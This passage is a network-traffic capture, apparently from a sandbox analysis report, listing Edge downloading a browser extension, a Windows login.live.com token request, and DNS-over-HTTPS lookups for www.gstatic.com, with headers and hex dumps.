2024-11-26 07:03:39 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 07:03:40 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC5PORTvvCZnmg8ylymoVoIJR9ylyfodIevcpGIOY4YlNiBXS_Kucpitjhh8E-j3chUYGCc X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Mon, 25 Nov 2024 16:45:00 GMT Expires: Tue, 25 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 51519 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-26 07:03:40 UTC	824	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-26 07:03:40 UTC	1390	IN	Data Raw: 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c 7c a7 3d 83 9c c3 33 Data Ascii: :__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\\|=3
2024-11-26 07:03:40 UTC	1390	IN	Data Raw: 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc 55 5e 3d b8 46 34 c8 Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FSU^=F4
2024-11-26 07:03:40 UTC	1390	IN	Data Raw: 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 ce c6 ac 26 ca 94 9e Data Ascii: }oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~&
2024-11-26 07:03:40 UTC	1390	IN	Data Raw: ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 af 7f ff d5 d4 85 ac Data Ascii: c$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-26 07:03:40 UTC	1390	IN	Data Raw: c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 e2 00 5a c4 bf e3 99 Data Ascii: C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8QZ
2024-11-26 07:03:40 UTC	1390	IN	Data Raw: 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 b4 28 e5 ea ff 64 31 Data Ascii: n=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@(d1
2024-11-26 07:03:40 UTC	1390	IN	Data Raw: 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 16 96 fa 98 fd 47 dc Data Ascii: cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6G
2024-11-26 07:03:40 UTC	1390	IN	Data Raw: 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 73 61 67 65 73 2e 6a Data Ascii: o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/messages.j
2024-11-26 07:03:40 UTC	1390	IN	Data Raw: 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 Data Ascii: Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49756	40.126.53.17	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:40 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-26 07:03:40 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-26 07:03:41 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 26 Nov 2024 07:02:41 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C516_SN1 x-ms-request-id: 6386fc94-60d3-4b2f-b3c5-8aabf2addcbf PPServer: PPV: 30 H: SN1PEPF0002F921 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 26 Nov 2024 07:03:40 GMT Connection: close Content-Length: 11389
2024-11-26 07:03:41 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49769	162.159.61.3	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:40 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 07:03:40 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 07:03:41 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 07:03:41 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e880522cf1b0f53-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 07:03:41 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 13 00 04 8e fa b0 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49770	162.159.61.3	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:40 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 07:03:40 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 07:03:41 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 07:03:41 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e880522df418c93-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 07:03:41 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1c 00 04 8e fb 28 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49764	172.64.41.3	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:40 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 07:03:40 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 07:03:41 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 07:03:41 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e880522cc747c81-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 07:03:41 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1c 00 04 8e fb 28 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49761	172.64.41.3	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:40 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 07:03:40 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 07:03:41 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 07:03:41 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e880522c91b72c2-EWR alt-svc: h3=":443"; ma=86400
